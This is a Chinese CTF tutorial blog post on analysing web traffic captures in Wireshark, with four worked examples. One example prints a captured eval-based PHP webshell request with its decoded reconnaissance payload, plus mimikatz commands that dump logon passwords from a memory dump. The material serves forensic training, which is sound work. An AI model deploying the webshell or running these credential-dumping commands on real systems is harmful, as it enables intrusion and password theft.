首页 > 其他分享 >常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)

时间:2022-11-17 10:11:16浏览次数:51  
标签:文件 http base64 jpg 流量 例题 指针


web流量分析基本套路

  1. 流量分析传输了数据:zip rar png jpg txt mp3,特别是流量包比较大时需要注意
  2. binwalk分离文件,grep或者wireshark内ctrl+f搜索
  3. 分情况使用导出对象,导出分组字节流,原始数据
  4. 搜索时可以看情况搜索分组详情、分组字节流
  5. 查看包间的差异,可以按大小排列数据包等
  6. png在流量中经常以base64形式出现
  7. 如果有TLS,要么找密钥,要么看别的协议

例题一普通http流量

使用wireshark打开文件

可以点击Protocol,按协议进行排序

也可以直接按请求方式过滤

http.request.method == "GET"
http.request.method == "POST"

发现大部分请求都是404,有三个成功,并且是编码数据

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_数据

点击右击选择追踪流->http流

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_http_02

进行base64解码

第二个是flag.txt

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_https_03

找到流量右击选择导出分组字节流

因为url访问的是

print_r(gzcompress(file_get_contents(base64_decode(%22ZmxhZy50eHQ%22))));

需要解码

gzcompress
相反的函数就是
gzuncompress

decode.php

<?php
$file=file_get_contents("./flag.bin");
$file=gzuncompress($file);
var_dump($file);
?>

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_https_04

得到flag

例题二http传输文件流量

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_http_05

文件比较大

使用wireshark打开,按协议排序

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_http_06

追踪TCP流

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_数据_07

发现可疑代码,解码整理一下

yo=@eval(base64_decode($_POST[z0]));
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

其他HTTP流量中也没有什么重要信息,选择追踪TCP流,在流21,发现rar文件,选择原始数据,另存为

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_http_08

这是把整个数据包都保存下来了,在本地打开rar文件,如果打不开文件,使用010打开,把无用内容删除

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_文件指针_09

打开rar压缩包发现被加密了,因为这是到流量题,有限考虑去流量中找密码,其次是考虑压缩包的各种考点

这个压缩包肯定是传过来之前被加密的,所以需要向前找,看看流量中有什么

在的流量中可以看到传了三个变量,z0,z1,z2,其中z2解码之后就是每次执行的命令,从流21开始依次向前解码z2,发现流18,base64解码内容为

cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E]

大概就是在cmd中调用了winrar,加密文件并设置密码

hp[password] 加密文件数据和文件头

密码就是JJBoom了,解压文件

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_数据_10

但是图片并不能查看,用010打开

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_https_11

文件头是MDMP,说明这是Dump文件或用linux下的file命令查看文件格式

Dump文件是进程的内存镜像,可以把程序的执行状态通过调试器保存到dump文件中。Dump文件是用来给驱动程序编写人员调试驱动程序用的,这种文件必须用专用工具软件打开,比如使用WinDbg打开

需要使用猕猴桃mimikatz打开

使用以下三条命令

log d:\1.txt  //将回显输出到一个文件中
sekurlsa::minidump 1.gif //载入dmp文件
sekurlsa::logonpasswords full //读取登录密码

登录密码就是flag

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_https_12

总结:

  1. 如果数据包比较大,可以追踪流再保存,数据包小的话可以直接使用保存分组字节流
  2. 数据流量比较多的话,在wireshark中可以使用统计->conversations进行查看

例题三https加密流量

一个pcap文件一个txt文档

txt文档内容为题目的提示

提示一:若感觉在中间某个容易出错的步骤,若有需要检验是否正确时,可以比较MD5: 90c490781f9c320cd1ba671fcb112d1c
提示二:注意补齐私钥格式
-----BEGIN RSA PRIVATE KEY-----
XXXXXXX
-----END RSA PRIVATE KEY-----

打开流量包没有发现http,但是存在TLS协议,判断采用了https,需要密钥解码

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_http_13

继续分析其他协议,翻一遍smtp,发现一张经过base64图片

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_http_14

选择show data as 原始数据,另存为1.txt,把多余的信息删除,只保留base64

使用脚本将base64转换成图片

import base64
f=open("data.txt","r")
f2=open("1.png","wb")
content=base64.b64decode(f.read())
f2.write(content)
f.close()
f2.close()

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_数据_15

生成的图片,可以联想到HTTPS的私钥,使用ocr进行识别,我用的是qq识屏,识别后点击下载,保存数据,python简单处理下除掉多余的空格

因为题目提示了中间容易出错的地方大概就是这里了,对一下md5值不对,头大了,需要一个个的对比

将字符前后加上RSA的标记,保存文档

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_文件指针_16

在wireshark中添加私钥文件

  1. 编辑->首选项->选择协议TLS->选择RSA keys list->点击Edit
  2. 在弹出的窗口中点击左下角加号->在Key File中选择文件->点击ok

添加完成,wireshark会自动刷新,搜索http协议,追踪流就可以看到flag

例题四视频流

两个点

  1. 视频信息在流量包中使用UDP协议进行传输
  2. png,jpg等图片信息只要头尾标记在,图片外多余的数据不会影响显示

打开流量包,首先关注http协议,选中第一个http包右键选择追踪http流

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_数据_17

在流中发现大量与视频相关的字眼,并且没有发现关于flag的信息,既然与视频相关就去看udp包

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_http_18

在流中发现jpg图片

jpg图片含有的明显特征

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_文件指针_19

将这个流选择原始数据并保存,数据很多需要等待一会儿避免漏掉

因为整个流中有很多jpg图片所以需要使用脚本分割

f = open("./pcap","rb")
data = f.read()
sub = 0
f.seek(0)
while 1:
if f.read(3) == b'\xff\xd8\xff':
f1 = open(str(sub) + '.jpg', "wb")
f1.write(data[f.tell()-3:])
f1.close()
sub += 1
else:
f.seek(-2, 1)

代码解释

  • b’\xff\xd8\xff’ jpg格式文件头
  • f.seek() 函数用于将文件指针移动至指定位置
file.seek(offset[, whence])

其中,各个参数的含义如下:
file:表示文件对象;
whence:作为可选参数,用于指定文件指针要放置的位置,该参数的参数值有 3 个选择:0 代表文件头(默认值)、1 代表当前位置、2 代表文件尾。
offset:表示相对于 whence 位置文件指针的偏移量,正数表示向后偏移,负数表示向前偏移。例如,当whence == 0 &&offset == 3(即 seek(3,0) ),表示文件指针移动至距离文件开头处 3 个字符的位置;当whence == 1 &&offset == 5(即 seek(5,1) ),表示文件指针向后移动,移动至距离当前位置 5 个字符处。
注意,当 offset 值非 0 时,Python 要求文件必须要以二进制格式打开,否则会抛出 io.UnsupportedOperation 错误。
  • f.tell(3) 输出当前文件指针位置
    tell实例
读取 a.txt 的代码如下:
f = open("a.txt",'r')
print(f.tell())
print(f.read(3))
print(f.tell())
运行结果为:
0
htt
3

当使用 open() 函数打开文件时,文件指针的起始位置为 0,表示位于文件的开头处,当使用 read() 函数从文件中读取 3 个字符之后,文件指针同时向后移动了 3 个字符的位置。这就表明,当程序使用文件对象读写数据时,文件指针会自动向后移动:读写了多少个数据,文件指针就自动向后移动多少个位置

代码意思就是每次读取文件三个字节,判断是不是jpg的文件头,注意此时文件指针已经发生了变化向后移动了两位,如果是文件头就将当前指针位置到末尾的全部数据保存为jpg,也就是说生成的jpg图片大小会越来越小,如果不是jpg的文件头,文件指针就从当前位置向前移动两位继续判断

运行脚本解析图片

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_php_20

发现flag

常规web流量分析总结及例题(普通http流量,http传输文件流量,https加密流量,视频流)_https_21


标签:文件,http,base64,jpg,流量,例题,指针
From: https://blog.51cto.com/u_15878568/5859817

相关文章

  • Web核心之Http,tomcat,servlet
    Http,Tomcat和Servlethttp是超文本传输协议,规定了浏览器和服务器之间的数据传输规则,而他与服务器之间的有请求数据和响应数据的工作。 请求数据的格式:1.请求行:请求数据......
  • 真正“搞”懂HTTP协议04之搞起来
    前两篇文章,我们从空间和时间的角度都对HTTP有了一定的学习和理解,那么基于上一篇的HTTP发展的时间顺序,我会在后面的文章由浅入深,按照HTTP版本内容的更迭,一边介绍相关字......
  • 进阶实验03-网络流量路径控制
    HCIP-进阶实验03-网络流量路径控制实验需求某城域网网络环境部署规划如图所示,该网络通过OSPF协议进行部署设计,分为四个区域,分别为骨干区域0、普通区域1.2.3。其中普通......
  • Http和Https的区别?
    1.HTTP是什么?http是超文本传输协议用来在web浏览器和网站服务器之间传递数据信息,http以明文的方式发送内容,不提供任何方式的数据加密,如果攻击者截获了Web浏览器和网站服务......
  • 3HTTP协议介绍
    HTTP协议介绍设计HTTP(HyperTextTransferProtocol)是为了提供一种发布和接收HTML(HyperTextMarkupLanguage)页面的方法。Http组成由两部分组成:请求与响应客户端请......
  • 用html5 实现断点续传 (HTTP)
    ​ 总结一下大文件分片上传和断点续传的问题。因为文件过大(比如1G以上),必须要考虑上传过程网络中断的情况。http的网络请求中本身就已经具备了分片上传功能,当传输的文件比......
  • javaweb 5、HttpServletResponse
    HttpServletResponseweb服务器接收到客户端的http请求,针对这个请求,分别创建一个代表请求的HttpServletRequest对象,代表响应的一个HttpServletResponse如果要获取客户端......
  • javaweb 6、HttpServletRequest
    HttpServletRequest代表客户端的请求,用户通过Http协议访问服务器,HTTP请求中所有信息会被封装到HttpServletRequet,通过这个HttpServletRequest的方法,获得客户端的所有信息......
  • 用JavaScript 实现断点续传 (HTTP)
    ​ 我们平时经常做的是上传文件,上传文件夹与上传文件类似,但也有一些不同之处,这次做了上传文件夹就记录下以备后用。这次项目的需求:支持大文件的上传和续传,要求续传支持......
  • 关于 WebSocket 和 HTTP 区别的思考以及一个最简单的 WebSocket 的客户端和服务器实现
    笔者之前与一位同事研究了Cypress的visit方法,其源码实现最终是调用了WebSocket向visit参数里指定的website通行并获取数据,见下图变量ev.data的值。我这位同......